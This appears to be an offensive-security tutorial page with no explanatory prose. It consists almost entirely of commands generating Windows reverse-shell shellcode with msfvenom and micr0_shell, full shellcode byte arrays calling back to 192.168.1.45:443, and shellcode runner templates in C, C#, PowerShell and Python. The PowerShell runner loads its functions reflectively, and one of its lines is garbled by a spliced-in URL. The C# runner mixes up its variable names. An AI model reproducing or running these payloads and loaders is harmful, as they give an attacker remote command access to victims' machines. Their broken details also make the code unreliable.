└─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.45 LPORT=443 -f csharp -v shellcode -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 3 compatible encoders
Attempting to encode payload with 1 iterations of generic/none
generic/none failed with Encoding failed due to a bad character (index=7, char=0x00)
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 503 (iteration=0)
x64/xor chosen with final size 503
Payload size: 503 bytes
Final size of csharp file: 2586 bytes
byte[] shellcode = new byte[503] {
0x48,0x31,0xc9,0x48,0x81,0xe9,0xc6,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff,
0xff,0xff,0x48,0xbb,0x2b,0x1e,0x7f,0x17,0x61,0x58,0xad,0xc4,0x48,0x31,0x58,
0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0xd7,0x56,0xfc,0xf3,0x91,0xb0,
0x6d,0xc4,0x2b,0x1e,0x3e,0x46,0x20,0x08,0xff,0x95,0x7d,0x56,0x4e,0xc5,0x04,
0x10,0x26,0x96,0x4b,0x56,0xf4,0x45,0x79,0x10,0x26,0x96,0x0b,0x56,0xf4,0x65,
0x31,0x10,0xa2,0x73,0x61,0x54,0x32,0x26,0xa8,0x10,0x9c,0x04,0x87,0x22,0x1e,
0x6b,0x63,0x74,0x8d,0x85,0xea,0xd7,0x72,0x56,0x60,0x99,0x4f,0x29,0x79,0x5f,
0x2e,0x5f,0xea,0x0a,0x8d,0x4f,0x69,0x22,0x37,0x16,0xb1,0xd3,0x2d,0x4c,0x2b,
0x1e,0x7f,0x5f,0xe4,0x98,0xd9,0xa3,0x63,0x1f,0xaf,0x47,0xea,0x10,0xb5,0x80,
0xa0,0x5e,0x5f,0x5e,0x60,0x88,0x4e,0x92,0x63,0xe1,0xb6,0x56,0xea,0x6c,0x25,
0x8c,0x2a,0xc8,0x32,0x26,0xa8,0x10,0x9c,0x04,0x87,0x5f,0xbe,0xde,0x6c,0x19,
0xac,0x05,0x13,0xfe,0x0a,0xe6,0x2d,0x5b,0xe1,0xe0,0x23,0x5b,0x46,0xc6,0x14,
0x80,0xf5,0x80,0xa0,0x5e,0x5b,0x5e,0x60,0x88,0xcb,0x85,0xa0,0x12,0x37,0x53,
0xea,0x18,0xb1,0x8d,0x2a,0xce,0x3e,0x9c,0x65,0xd0,0xe5,0xc5,0xfb,0x5f,0x27,
0x56,0x39,0x06,0xf4,0x9e,0x6a,0x46,0x3e,0x4e,0x20,0x02,0xe5,0x47,0xc7,0x3e,
0x3e,0x45,0x9e,0xb8,0xf5,0x85,0x72,0x44,0x37,0x9c,0x73,0xb1,0xfa,0x3b,0xd4,
0xe1,0x22,0x5e,0xdf,0x2f,0xde,0xf6,0x74,0x2d,0x4d,0x17,0x61,0x19,0xfb,0x8d,
0xa2,0xf8,0x37,0x96,0x8d,0xf8,0xac,0xc4,0x2b,0x57,0xf6,0xf2,0x28,0xe4,0xaf,
0xc4,0x2a,0xa5,0xbf,0xbf,0x60,0x75,0xec,0x90,0x62,0x97,0x9b,0x5b,0xe8,0xa9,
0xec,0x7e,0x67,0x69,0x59,0x10,0x9e,0x8d,0xe1,0x4d,0xc1,0x76,0x7e,0x16,0x61,
0x58,0xf4,0x85,0x91,0x37,0xff,0x7c,0x61,0xa7,0x78,0x94,0x7b,0x53,0x4e,0xde,
0x2c,0x69,0x6d,0x8c,0xd4,0xde,0x37,0x9e,0xa3,0x10,0x52,0x04,0x63,0x97,0xbe,
0x56,0xdb,0xb2,0xa2,0x1b,0xcb,0xe1,0xaa,0x5f,0xe8,0x9f,0xc7,0xd4,0x6a,0x46,
0x33,0x9e,0x83,0x10,0x24,0x3d,0x6a,0xa4,0xe6,0xb2,0x15,0x39,0x52,0x11,0x63,
0x9f,0xbb,0x57,0x63,0x58,0xad,0x8d,0x93,0x7d,0x12,0x73,0x61,0x58,0xad,0xc4,
0x2b,0x5f,0x2f,0x56,0x31,0x10,0x24,0x26,0x7c,0x49,0x28,0x5a,0x50,0x98,0xc7,
0xc9,0x72,0x5f,0x2f,0xf5,0x9d,0x3e,0x6a,0x80,0x0f,0x4a,0x7e,0x16,0x29,0xd5,
0xe9,0xe0,0x33,0xd8,0x7f,0x7f,0x29,0xd1,0x4b,0x92,0x7b,0x5f,0x2f,0x56,0x31,
0x19,0xfd,0x8d,0xd4,0xde,0x3e,0x47,0x28,0xa7,0x65,0x89,0xa2,0xdf,0x33,0x9e,
0xa0,0x19,0x17,0xbd,0xe7,0x21,0xf9,0xe8,0xb4,0x10,0x9c,0x16,0x63,0xe1,0xb5,
0x9c,0x6f,0x19,0x17,0xcc,0xac,0x03,0x1f,0xe8,0xb4,0xe3,0x5d,0x71,0x89,0x48,
0x3e,0xad,0xc7,0xcd,0x10,0x59,0xd4,0xcb,0x37,0x94,0xa5,0x70,0x91,0xc2,0x57,
0x14,0xff,0xec,0x81,0x2d,0xa8,0x7f,0x6c,0x0d,0x0d,0x78,0x0b,0x58,0xf4,0x85,
0xa2,0xc4,0x80,0xc2,0x61,0x58,0xad,0xc4 };

pip install keystone-engine

└─# python3 micr0shell.py                                                                                                                         

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Author: Senzee
Github Repository: https://github.com/senzee1984/micr0_shell
Description: Dynamically generate PIC Null-Free Reverse Shell Shellcode
Attention: In rare cases (.255 and .0 co-exist), generated shellcode could contain NULL bytes, E.G. when IP is 192.168.0.255


usage: micr0shell.py [-h] --ip IP [--port PORT] [--language LAN] [--variable VAR] [--type SHELL_TYPE] [--execution CODE_EXEC] [--save SAVE]
                     [--output OUTPUT]
micr0shell.py: error: the following arguments are required: --ip/-i

#include "windows.h"
#include "stdlib.h"

unsigned char shellcode[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0......};  // SHELLCODE HERE

int main()
{
    int length = sizeof(shellcode);
    void* exec = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec, shellcode, length);
    HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
}

using System;
using System.Runtime.InteropServices;

namespace runner
{
    public class runner
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll")]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        public static void Main(String[] args)
        {
            byte[] buffer= new byte[479] {0x48,0x31,0xd2,0x65,0x48,0x8b,0x42,0x60,0x48......};  // SHELLCODE HERE
            IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40);
            Marshal.Copy(shellcode, 0, addr, shellcode.Length);
            IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }
    }
}

function LookupFunc {
    Param ($moduleName, $functionName)
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
     Equals('System.dll')
     }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}


function getDelegateType {
    Param (
     [Parameter(Position = 0, Mandatory = $True)] [Type[]]
     $func, [Parameter(Position = 1)] [Type] $delType = [Void]
    )
    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]:https://raw.githubusercontent.com/senzee1984/micr0_shell/HEAD/:Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass,
    AutoClass', [System.MulticastDelegate])

  $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
[System.Reflection.CallingConventions]::Standard, $func).
     SetImplementationFlags('Runtime, Managed')

  $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType,
$func). SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

$lpMem =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = <SHELLCODE HERE>

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)

import ctypes, struct


buf =  b"\x48\x31\...."  # SHELLCODE HERE
buf=bytearray(buf)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(buf)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(buf)).from_buffer(buf)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(buf)))
print("Shellcode located at address %s" % hex(ptr))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

─# python3 micr0shell.py --ip 192.168.1.45 --port 443 --type cmd --language c --variable shellcode --execution false --save True --output buf.bin

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╚═╝░░░░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░  ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝

Author: Senzee
Github Repository: https://github.com/senzee1984/micr0_shell
Description: Dynamically generate PIC Null-Free Reverse Shell Shellcode
Attention: In rare cases (.255 and .0 co-exist), generated shellcode could contain NULL bytes, E.G. when IP is 192.168.0.255


[+]Shellcode Settings:
******** IP Address: 192.168.1.45
******** Listening Port: 443
******** Language of desired shellcode runner: c
******** Shellcode array variable name: shellcode
******** Shell: cmd
******** Shellcode Execution: false
******** Save Shellcode to file: true


[+]Payload size: 476 bytes

[+]Shellcode format for C

unsigned char shellcode[]={
0x48,0x31,0xd2,0x65,0x48,0x8b,0x42,0x60,0x48,0x8b,0x70,0x18,0x48,0x8b,0x76,0x30,0x4c,0x8b,0x0e,0x4d,
0x8b,0x09,0x4d,0x8b,0x49,0x10,0xeb,0x63,0x41,0x8b,0x49,0x3c,0x4d,0x31,0xff,0x41,0xb7,0x88,0x4d,0x01,
0xcf,0x49,0x01,0xcf,0x45,0x8b,0x3f,0x4d,0x01,0xcf,0x41,0x8b,0x4f,0x18,0x45,0x8b,0x77,0x20,0x4d,0x01,
0xce,0xe3,0x3f,0xff,0xc9,0x48,0x31,0xf6,0x41,0x8b,0x34,0x8e,0x4c,0x01,0xce,0x48,0x31,0xc0,0x48,0x31,
0xd2,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x44,0x39,0xc2,0x75,0xda,0x45,
0x8b,0x57,0x24,0x4d,0x01,0xca,0x41,0x0f,0xb7,0x0c,0x4a,0x45,0x8b,0x5f,0x1c,0x4d,0x01,0xcb,0x41,0x8b,
0x04,0x8b,0x4c,0x01,0xc8,0xc3,0xc3,0x4c,0x89,0xcd,0x41,0xb8,0x8e,0x4e,0x0e,0xec,0xe8,0x8f,0xff,0xff,
0xff,0x49,0x89,0xc4,0x48,0x31,0xc0,0x66,0xb8,0x6c,0x6c,0x50,0x48,0xb8,0x57,0x53,0x32,0x5f,0x33,0x32,
0x2e,0x64,0x50,0x48,0x89,0xe1,0x48,0x83,0xec,0x20,0x4c,0x89,0xe0,0xff,0xd0,0x48,0x83,0xc4,0x20,0x49,
0x89,0xc6,0x49,0x89,0xc1,0x41,0xb8,0xcb,0xed,0xfc,0x3b,0x4c,0x89,0xcb,0xe8,0x55,0xff,0xff,0xff,0x48,
0x31,0xc9,0x66,0xb9,0x98,0x01,0x48,0x29,0xcc,0x48,0x8d,0x14,0x24,0x66,0xb9,0x02,0x02,0x48,0x83,0xec,
0x30,0xff,0xd0,0x48,0x83,0xc4,0x30,0x49,0x89,0xd9,0x41,0xb8,0xd9,0x09,0xf5,0xad,0xe8,0x2b,0xff,0xff,
0xff,0x48,0x83,0xec,0x30,0x48,0x31,0xc9,0xb1,0x02,0x48,0x31,0xd2,0xb2,0x01,0x4d,0x31,0xc0,0x41,0xb0,
0x06,0x4d,0x31,0xc9,0x4c,0x89,0x4c,0x24,0x20,0x4c,0x89,0x4c,0x24,0x28,0xff,0xd0,0x49,0x89,0xc4,0x48,
0x83,0xc4,0x30,0x49,0x89,0xd9,0x41,0xb8,0x0c,0xba,0x2d,0xb3,0xe8,0xf3,0xfe,0xff,0xff,0x48,0x83,0xec,
0x20,0x4c,0x89,0xe1,0x48,0x31,0xd2,0xb2,0x02,0x48,0x89,0x14,0x24,0x48,0x31,0xd2,0x66,0xba,0x01,0xbb,
0x48,0x89,0x54,0x24,0x02,0xba,0xc0,0xa8,0x01,0x2d,0x48,0x89,0x54,0x24,0x04,0x48,0x8d,0x14,0x24,0x4d,
0x31,0xc0,0x41,0xb0,0x16,0x4d,0x31,0xc9,0x48,0x83,0xec,0x38,0x4c,0x89,0x4c,0x24,0x20,0x4c,0x89,0x4c,
0x24,0x28,0x4c,0x89,0x4c,0x24,0x30,0xff,0xd0,0x48,0x83,0xc4,0x38,0x49,0x89,0xe9,0x41,0xb8,0x72,0xfe,
0xb3,0x16,0xe8,0x99,0xfe,0xff,0xff,0x48,0xba,0x9c,0x92,0x9b,0xd1,0x9a,0x87,0x9a,0xff,0x48,0xf7,0xd2,
0x52,0x48,0x89,0xe2,0x41,0x54,0x41,0x54,0x41,0x54,0x48,0x31,0xc9,0x66,0x51,0x51,0x51,0xb1,0xff,0x66,
0xff,0xc1,0x66,0x51,0x48,0x31,0xc9,0x66,0x51,0x66,0x51,0x51,0x51,0x51,0x51,0x51,0x51,0xb1,0x68,0x51,
0x48,0x89,0xe7,0x48,0x89,0xe1,0x48,0x83,0xe9,0x20,0x51,0x57,0x48,0x31,0xc9,0x51,0x51,0x51,0x48,0xff,
0xc1,0x51,0xfe,0xc9,0x51,0x51,0x51,0x51,0x49,0x89,0xc8,0x49,0x89,0xc9,0xff,0xd0};


Generated shellcode successfully saved in file buf.bin